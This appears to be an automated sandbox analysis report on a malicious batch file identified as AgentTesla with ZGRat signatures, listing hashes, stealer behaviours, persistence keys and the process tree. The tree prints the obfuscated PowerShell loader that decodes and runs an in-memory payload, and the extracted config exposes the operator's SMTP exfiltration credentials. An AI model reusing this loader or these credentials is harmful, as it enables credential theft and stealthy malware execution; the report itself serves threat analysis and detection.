Analysis
-
max time kernel
125s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
15-05-2024 10:56
Static task
static1
Behavioral task
behavioral1
Sample
Xlrfx.bat
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
Xlrfx.bat
Resource
win10v2004-20240508-en
General
-
Target
Xlrfx.bat
-
Size
2.5MB
-
MD5
044b5f7f1996339fb95ab61afe9ce63b
-
SHA1
9b1ad4a81ae03ebb25d252eb12473dfe667af900
-
SHA256
c8b23374cfaebcceb230474be736c7d7c012c073a9c253bcf3dec1a26c920079
-
SHA512
77faaa93f02be4925d7238b63bc3651525f4438f70231173944aa71c1dc3429cbc9905cdaaf7eec454bd08f7e12b81424cf6db4021615e52a79635078817d948
-
SSDEEP
49152:Bio8vLA4esjKTI2VerQB+Mctxbqrhl8ManSazNv:o
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.qvise.com - Port:
587 - Username:
[email protected] - Password:
Qvise@45450# - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Detect ZGRat V1 34 IoCs
Processes:
resource yara_rule behavioral2/memory/508-30-0x000000000B0F0000-0x000000000B320000-memory.dmp family_zgrat_v1 behavioral2/memory/508-35-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-37-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-59-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-71-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-77-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-83-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-91-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-95-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-89-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-87-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-81-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-79-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-93-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-85-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-75-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-73-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-69-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-67-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-63-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-61-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-65-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-57-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-55-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-47-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-45-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-53-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-51-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-49-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-43-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-39-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-33-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-41-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 behavioral2/memory/508-32-0x000000000B0F0000-0x000000000B31B000-memory.dmp family_zgrat_v1 -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
-
Executes dropped EXE 1 IoCs
Processes:
Xlrfx.bat.Nsgpid Process 508 Xlrfx.bat.Nsg -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
RegAsm.exeXlrfx.bat.Nsgdescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NcnBt = "C:\\Users\\Admin\\AppData\\Roaming\\NcnBt\\NcnBt.exe" RegAsm.exe Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wdufmvf = "C:\\Users\\Admin\\AppData\\Roaming\\Wdufmvf.bat" Xlrfx.bat.Nsg -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 38 api.ipify.org 39 ip-api.com 37 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Xlrfx.bat.Nsgdescription pid Process procid_target PID 508 set thread context of 5636 508 Xlrfx.bat.Nsg 104 -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
Xlrfx.bat.NsgRegAsm.exepid Process 508 Xlrfx.bat.Nsg 508 Xlrfx.bat.Nsg 5636 RegAsm.exe 5636 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
Xlrfx.bat.NsgRegAsm.exedescription pid Process Token: SeDebugPrivilege 508 Xlrfx.bat.Nsg Token: SeDebugPrivilege 508 Xlrfx.bat.Nsg Token: SeDebugPrivilege 5636 RegAsm.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
cmd.exeXlrfx.bat.Nsgdescription pid Process procid_target PID 384 wrote to memory of 4168 384 cmd.exe 90 PID 384 wrote to memory of 4168 384 cmd.exe 90 PID 384 wrote to memory of 2936 384 cmd.exe 91 PID 384 wrote to memory of 2936 384 cmd.exe 91 PID 384 wrote to memory of 448 384 cmd.exe 92 PID 384 wrote to memory of 448 384 cmd.exe 92 PID 384 wrote to memory of 508 384 cmd.exe 94 PID 384 wrote to memory of 508 384 cmd.exe 94 PID 384 wrote to memory of 508 384 cmd.exe 94 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 PID 508 wrote to memory of 5636 508 Xlrfx.bat.Nsg 104 -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:384 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:4168
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg2⤵PID:2936
-
-
C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:448
-
-
C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.NsgC:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg -WindowStyle hidden -command "$Eshusr = Get-Content 'C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat' | select-object -Last 1; $Yhyoxigy = [System.Convert]::FromBase64String($Eshusr);$Uneafks = New-Object System.IO.MemoryStream( , $Yhyoxigy );$Iaohomn = New-Object System.IO.MemoryStream;$Bydqksifw = New-Object System.IO.Compression.GzipStream $Uneafks, ([IO.Compression.CompressionMode]::Decompress);$Bydqksifw.CopyTo( $Iaohomn );$Bydqksifw.Close();$Uneafks.Close();[byte[]] $Yhyoxigy = $Iaohomn.ToArray();[Array]::Reverse($Yhyoxigy); $Pbdppxx = [System.Threading.Thread]::GetDomain().Load($Yhyoxigy); $Izgbjcqwat = $Pbdppxx.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5636
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3416,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:81⤵PID:3896
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82